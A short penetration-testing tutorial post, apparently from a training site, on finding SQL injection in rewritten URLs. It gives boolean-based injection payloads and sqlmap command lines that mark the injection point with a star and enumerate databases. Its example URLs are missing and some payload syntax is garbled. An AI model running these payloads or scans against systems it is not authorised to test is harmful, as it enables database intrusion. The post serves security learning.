How to Test and Exploit SQL Injections in URL Rewrite Rules

August 31, 2016 | Views: 18855

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

First of all, what is URL rewrite?

You’ve likely seen sites with this schema in URLs:

Most everyone knows how to test for SQL injection in this situation —>' or and 2.5=2.5 or and 3.4=3.5

and etc.

But, in URL rewrites, this UR will become ,{id is hidden and the parameter 1 is used in url}

For testing SQL injection in these kind of URLs, we just use our payloads as before, but after the parameter :' or and 3.6=3.6 and 3.6=3.77

and etc.

The results would be the same as a normal post parameter.

For  testing SQL injection with SQLMAP, we just use a star in the format. For instance:

sqlmap -u “*" --random-agent --level 5 --risk 3 --dbs


sqlmap -u “*/1" --random-agent --level 5 --risk 3 --dbs

For injecting in the content parameter, the star sign shows sqlmap where to inject payloads.


Happy Hacking

Share with Friends
Use Cybytes and
Tip the Author!
Share with Friends
Ready to share your knowledge and expertise?
  1. good information

  2. Is it possible a web application to show .html on the url in order to hide the .php file and generally the parameters? If yes how can we inject in that situation?

  3. Good in gainig knowledge about new technique

Page 3 of 3«123
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge



Is Linux Worth Learning in 2020?
Views: 744 / December 14, 2019
How do I Get MTA Certified?
Views: 1315 / December 12, 2019
How much does your PAM software really cost?
Views: 1752 / December 10, 2019
How Do I Get into Android Development?
Views: 2142 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?